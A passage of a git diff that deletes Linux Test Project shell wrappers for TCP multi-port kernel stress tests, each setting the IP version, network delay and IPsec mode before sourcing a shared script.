Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport03 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport03 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport04 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport04 deleted file mode 100644 index 9e13c5ff..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport04 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport04 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport04 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport05 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport05 deleted file mode 100644 index eacea596..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport05 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport05 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport05 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport06 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport06 deleted file mode 100644 index 1f6296dc..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport06 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport06 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport06 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport07 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport07 deleted file mode 100644 index 0351d0d7..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport07 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport07 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport07 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport08 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport08 deleted file mode 100644 index 67840d0d..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport08 +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport08 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec is not used -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport08 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport09 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport09 deleted file mode 100644 index 9173699c..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport09 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport09 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport09 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport10 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport10 deleted file mode 100644 index e7ea8b52..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport10 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport10 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport10 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport11 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport11 deleted file mode 100644 index c9ce4e02..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport11 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport11 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport11 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport12 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport12 deleted file mode 100644 index 9d8278bd..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport12 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport12 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport12 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport13 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport13 deleted file mode 100644 index 706c2d99..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport13 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport13 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport13 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport14 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport14 deleted file mode 100644 index 2a4d9861..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport14 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport14 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport14 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport01 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport01 deleted file mode 100644 index 2a5a832e..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport01 +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport01 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec is not used -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport01 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport02 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport02 deleted file mode 100644 index fb8cbddd..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport02 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport02 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport02 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport03 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport03 deleted file mode 100644 index cc983d0d..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport03 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport03 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport03 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport04 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport04 deleted file mode 100644 index a75c7bea..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport04 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport04 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport04 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport05 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport05 deleted file mode 100644 index d70c48a4..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport05 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## 